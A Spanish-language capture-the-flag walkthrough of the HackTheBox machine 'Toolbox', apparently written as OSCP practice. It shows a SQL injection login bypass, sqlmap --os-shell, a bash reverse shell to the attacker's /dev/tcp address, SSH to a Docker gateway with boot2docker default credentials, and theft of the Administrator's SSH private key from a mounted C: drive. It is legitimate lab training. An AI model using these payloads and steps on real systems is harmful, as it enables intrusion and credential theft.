HackTheBox - Toolbox (Guía)

Máquina muy interesante de dificultad fácil de la plataforma HackTheBox, donde podremos practicar con entornos Docker dentro de un host de Windows.




Index



Recon


Lo primero que hacemos es nuestros escaneos de rigor con Nmap para ver qué puertos tenemos accesibles:


└─$ sudo nmap -p- --min-rate 1000 -v -oA nmap_initial 10.129.232.166
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-04 09:59 EDT

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds
           Raw packets sent: 65551 (2.884MB) | Rcvd: 65536 (2.621MB)

Y ahora lanzamos el escaneo más profundo sobre los puertos que tenemos a la vista:


└─$ sudo nmap -sC -sV -O -Pn -n -p 21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 -oA nmap_versions 10.129.232.166
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-04 10:00 EDT
Nmap scan report for 10.129.232.166
Host is up (0.031s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
|   256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_  256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  tcpwrapped
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after:  2021-02-17T17:45:56
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 10 1709 - 1909 (92%), Microsoft Windows Longhorn (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (91%), Microsoft Windows Server 2016 (90%), Microsoft Windows 10 1703 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-10-04T14:01:52
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.23 seconds

Vemos varias cosas interesantes, pero por ahora las 2 más llamativas y accesibles son el FTP y un subdominio que nos ha dado el certificado SSL.


Si accedemos al FTP como user 'anonymous':


└─$ ftp -p 10.129.232.166
Connected to 10.129.232.166.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.129.232.166:kali): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
ftp> ls
227 Entering Passive Mode (10,129,232,166,233,6)
150 Opening data channel for directory listing of "/"
-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
226 Successfully transferred "/"
ftp> 

Ahora mismo no podemos hacer nada con este archivo pero nos sirve de pista muy útil para lo que nos espera más adelante. Quedémonos con el nombre: docker-toolbox.


Vamos a echar un ojo a la app web que aloja la máquina:



No vemos nada relevante así que pasamos a añadir el nuevo subdominio que encontramos en el certificado SSL del puerto 443 a nuestro archivo hosts:


└─$ cat /etc/hosts                                                                               
127.0.0.1       localhost
127.0.1.1       kali
10.129.232.166  toolbox.htb
10.129.232.166  admin.megalogistic.com

Y ahora vemos que nos encontramos:



Vaya vaya... un panel de admin.



Foothold


Lo primero a intentar en estos casos es probar si el formulario es susceptible a inyección SQL:



Parece que explotó, así que para nosotros, es buena señal. De aquí podemos extraer un par de detalles interesantes.


El primero de todos es la query que el propio formulario lanza cuando intentamos hacer login, lo que podemos presuponer:


SELECT * FROM users WHERE username = '$USER' AND password = md5('$PASSWORD');

Si esto es cierto, a parte de que las contraseñas en la BBDD están guardadas en formato MD5, el login sería accesible si ponemos la siguiente payload como inyección:


admin' -- -

Pero antes de probar, la máquina inicial nos marcaba como Windows, en cambio la BBDD contra la que se comprueba el formulario de admin está en una ruta propia de sistemas UNIX, no Windows.


Quizás nos encontremos en una instancia virtualizada, tengámoslo en cuenta.


Ahora si, vamos a introducir nuestra pequeña payload a ver si conseguimos acceder:



Exactamente, hemos conseguido acceder.


Tras navegar un poco por la web no vemos nada relevante, no podemos activar ni subir nada, y lo único que encontramos es una pequeña lista de tareas dónde se habla de un usuario al que se le tienen que pasar unas credenciales.


Después de dar varias vueltas, se me ocurre probar si podriamos ejecutar código remoto aprovechando la inyección SQL que hemos descubierto antes.


Vamos a usar SQLMap capturando en un archivo TXT la request POST desde Burpsuite :


└─$ sqlmap -r post.txt --risk=3 --level=3 --batch --force-ssl
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.9#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:53:16 /2021-10-04/

[13:53:16] [INFO] parsing HTTP request from 'post.txt'
[13:53:17] [INFO] resuming back-end DBMS 'postgresql' 
[13:53:17] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=71d284922ef...f0287b5b19'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-8289' OR 5442=5442-- HaHm&password=admin

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: username=admin' AND 1031=CAST((CHR(113)||CHR(113)||CHR(113)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (1031=1031) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(112)||CHR(98)||CHR(113)) AS NUMERIC)-- esIT&password=admin

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: username=admin';SELECT PG_SLEEP(5)--&password=admin

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: username=admin' AND 1985=(SELECT 1985 FROM PG_SLEEP(5))-- mqNC&password=admin
---
[13:53:17] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Debian 10 (buster)
web application technology: PHP, Apache 2.4.38, PHP 7.3.14
back-end DBMS: PostgreSQL
[13:53:17] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/admin.megalogistic.com'

[*] ending @ 13:53:17 /2021-10-04/

Confirmamos la inyección y el tipo de BBDD que se presenta como PostgreSQL.


Me queda pendiente intentar la inyección sin usar SQLmap como ejercicio ya que no está permitido su uso en la OSCP

SQLmap tiene un switch que nos permite la obtención de una shell parcial, aunque no suele funcionar, pero probamos:


└─$ sqlmap -r post.txt --risk=3 --level=3 --batch --force-ssl --os-shell
[...]
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
[13:54:51] [INFO] retrieved: 'postgres'
command standard output:
---
p
o
s
t
g
r
e
s
---
os-shell> 

Pero estamos de suerte, y tenemos shell, una bastante "parcial" pero podemos probar a lanzar desde aquí una reverse shell completa que nos permita escalar desde dentro del sistema.


Lanzamos nuestra payload de conexión y configuramos un listener:


os-shell> bash -c 'bash -i >& /dev/tcp/10.10.14.139/9999 0>&1'
└─$ rlwrap nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.139] from (UNKNOWN) [10.129.232.166] 57733
bash: cannot set terminal process group (1066): Inappropriate ioctl for device
bash: no job control in this shell
postgres@0a48bf656b90:/var/lib/postgresql/11/main$ 


Priv-Esc


Lo primero ahora es obtener información del sistema en el que estamos:


uname -a
Linux 0a48bf656b90 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux

Podemos confirmarlo, nos encontramos en una instancia de docker.

Lo más sensato en este punto y dado que no tengo experiencia previa en estos environments, es buscar información sobre esta distribución de docker.


Tras unos minutos investigando, parece ser que esta distribución viene con unas credenciales por defecto que merece la pena probar.



¿Pero dónde?


El sistema en sí está bastante vacío, por lo que la salida tiene que estar por otro lado al habitual.


Si esto realmente es una instancia o un contenedor, debe estar conectado a un host o en su defecto, a otra instancia, por motivos administrativos, así que si echamos un ojo a la configuración de red:


ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 219173  bytes 31482368 (30.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 199393  bytes 76343960 (72.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 18473  bytes 5135416 (4.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 18473  bytes 5135416 (4.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Vemos que la instancia tiene una salida en la red 172.17.0.0, una IP de clase B. Si está conectada a algo, seguramente lo esté a través de 172.17.0.1 (la dirección más común de la gateway).


Probemos a conectarnos mediante SSH usando las credenciales anteriores:


ssh docker@172.17.0.1
tcuser

   ( '>')
  /) TC (\   Core is distributed with ABSOLUTELY NO WARRANTY.
 (/-_--_-\)           www.tinycorelinux.net

whoami && ifconfig && uname -a
whoami && ifconfig && uname -a
docker
docker0   Link encap:Ethernet  HWaddr 02:42:EF:A5:84:C0  
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          inet6 addr: fe80::42:efff:fea5:84c0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:199444 errors:0 dropped:0 overruns:0 frame:0
          TX packets:219206 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:73558755 (70.1 MiB)  TX bytes:31487375 (30.0 MiB)

eth0      Link encap:Ethernet  HWaddr 08:00:27:F2:5E:BE  
          inet addr:10.0.2.15  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fef2:5ebe/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1329 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3255 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:101455 (99.0 KiB)  TX bytes:342026 (334.0 KiB)

eth1      Link encap:Ethernet  HWaddr 08:00:27:2C:6D:87  
          inet addr:192.168.99.100  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe2c:6d87/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:218369 errors:0 dropped:0 overruns:0 frame:0
          TX packets:212341 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:32019957 (30.5 MiB)  TX bytes:89544199 (85.3 MiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

vethbfd5fba Link encap:Ethernet  HWaddr 7E:33:D8:DB:47:EB  
          inet6 addr: fe80::7c33:d8ff:fedb:47eb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:199444 errors:0 dropped:0 overruns:0 frame:0
          TX packets:219226 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:76350971 (72.8 MiB)  TX bytes:31488871 (30.0 MiB)

Linux box 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux

Acertamos. Pero parece ser que aún seguimos en una instancia de Docker, aunque seguramente ahora estemos muy muy cerca del host de Windows, que es el que nos interesa.


Lo primero que llama la atención es esto:


ls -al /
total 244
drwxr-xr-x   17 root     root           440 Oct  4 14:01 .
drwxr-xr-x   17 root     root           440 Oct  4 14:01 ..
drwxr-xr-x    2 root     root          1420 Oct  4 13:58 bin
drwxr-xr-x    3 root     root            60 Oct  4 14:01 c
drwxrwxr-x   14 root     staff         4340 Oct  4 13:58 dev
drwxr-xr-x    9 root     root          1000 Oct  4 14:01 etc
drwxrwxr-x    4 root     staff           80 Oct  4 13:58 home
-rwxr-xr-x    1 root     root           496 Oct 19  2019 init
drwxr-xr-x    4 root     root           800 Oct  4 13:58 lib
lrwxrwxrwx    1 root     root             3 Oct  4 13:58 lib64 -> lib
lrwxrwxrwx    1 root     root            11 Oct  4 13:58 linuxrc -> bin/busybox
drwxr-xr-x    4 root     root            80 Oct  4 13:58 mnt
drwxrwsr-x    3 root     staff          180 Oct  4 14:01 opt
dr-xr-xr-x  191 root     root             0 Oct  4 13:58 proc
drwxrwxr-x    2 root     staff          100 Oct  4 19:54 root
drwxrwxr-x    6 root     staff          140 Oct  4 14:01 run
drwxr-xr-x    2 root     root          1300 Oct  4 13:58 sbin
-rw-r--r--    1 root     root        241842 Oct 19  2019 squashfs.tgz
dr-xr-xr-x   13 root     root             0 Oct  4 13:58 sys
lrwxrwxrwx    1 root     root            13 Oct  4 13:58 tmp -> /mnt/sda1/tmp
drwxr-xr-x    7 root     root           140 Oct  4 13:58 usr
drwxrwxr-x    8 root     staff          180 Oct  4 13:58 var

Y esto otro:

sudo -l
User docker may run the following commands on this host:
    (root) NOPASSWD: ALL

De aquí sacamos dos cosas muy críticas:

  • Tenemos control total sobre todo el sistema Docker

  • El disco del sistema C:\ de Windows está montado en el sistema Docker

Blanco y en botella.


Tenemos la bandera aquí:

find /c -type f -name root.txt 2>/dev/null
/c/Users/Administrator/Desktop/root.txt

Pero también tenemos acceso a las claves SSH del administrador:

root@box:/c/Users/Administrator/.ssh#    ls -al
drwxrwxrwx    1 docker   staff         4096 Feb 19  2020 .
drwxrwxrwx    1 docker   staff         8192 Feb  8  2021 ..
-rwxrwxrwx    1 docker   staff          404 Feb 19  2020 authorized_keys
-rwxrwxrwx    1 docker   staff         1675 Feb 19  2020 id_rsa
-rwxrwxrwx    1 docker   staff          404 Feb 19  2020 id_rsa.pub
-rwxrwxrwx    1 docker   staff          348 Feb 19  2020 known_hosts

Aunque podamos acceder a la bandera, no podemos acceder al sistema host, así que vamos con ello.

Comprobamos si la clave privada y la clave pública se corresponden entre si, y comprobamos que la clave pública que hay dentro del archivo de llaves autorizadas se corresponde con la clave pública del directorio. Si todo se confirma, podremos acceder vía SSH al sistema host Windows como Administrador:


diff id_rsa.pub authorized_keys

ssh-keygen -y -e -f id_rsa
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "2048-bit RSA, converted by root@box from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABAQC+jhIuWD92RK0DiMNQ3GAXyRs0AX7ohgs044J6ml
+PPpFI5C8x3TxpsbKeEozOyKJUJ4miP0vwZ9JcZkh+wAhZef2fI1oN0CmgXsx+bUoi2A75
b2YzuUCuzjOAHMwZCV4iyRC9ZNwqtA10IOP0nE0huFguEleCuj67l1boRxjOrYxI5GbsD5
5d+Y+92viETTA1QjDHag4+vZ24F+bG6EvyZlBa7lTX4il7Y2/h8BRiEoZNYePihyNTAb1d
xTSIjilwdPedc8qYaOg/KI/OlrlZ2InxCkwTf3w2d7iafE5uhZOneMZonUa6dkLKJzSJLB
6ZwEmI3J9kKFOKlaYEwrzz
---- END SSH2 PUBLIC KEY ----

ssh-keygen -y -e -f id_rsa.pub
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "2048-bit RSA, converted by root@box from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABAQC+jhIuWD92RK0DiMNQ3GAXyRs0AX7ohgs044J6ml
+PPpFI5C8x3TxpsbKeEozOyKJUJ4miP0vwZ9JcZkh+wAhZef2fI1oN0CmgXsx+bUoi2A75
b2YzuUCuzjOAHMwZCV4iyRC9ZNwqtA10IOP0nE0huFguEleCuj67l1boRxjOrYxI5GbsD5
5d+Y+92viETTA1QjDHag4+vZ24F+bG6EvyZlBa7lTX4il7Y2/h8BRiEoZNYePihyNTAb1d
xTSIjilwdPedc8qYaOg/KI/OlrlZ2InxCkwTf3w2d7iafE5uhZOneMZonUa6dkLKJzSJLB
6ZwEmI3J9kKFOKlaYEwrzz
---- END SSH2 PUBLIC KEY ----

Confirmado, todo corresponde.


Ahora nos llevamos la clave privada a nuestra máquina atacante y nos conectamos:

└─$ vim id_rsa 
chmod 600 id_rsa
ssh -i id_rsa administrator@10.129.232.166 

Y listo, tenemos el control total del sistema host Windows:




Post-Mortem


Ha sido una máquina muy muy productiva en términos de aprendizaje. La primera vez que me enfrento a Docker.


Todo ha sido bastante intuitivo exceptuando la salida a la instancia principal de Docker a través del SSH a la gateway. Ese punto me atascó bastante, pero es cierto que si lo analizas observando que no hay absolutamente nada más en el sistema y que tampoco tenemos acceso al comando fdisk -l, algo que SI ocurre una vez que estamos en el paso posterior y qué como se indica en Hacktricks, sería el primer indicio de que podemos acceder al sistema host.


La parte de las llaves SSH del administrador no es estrictamente necesaria en términos de un entorno CTF pero en un entorno real sería el paso lógico a seguir.




Descarga Notas y Reporte OSCP


Aquí os dejo las notas que he usado con cherrytree y el PDF en español e inglés en formato OSCP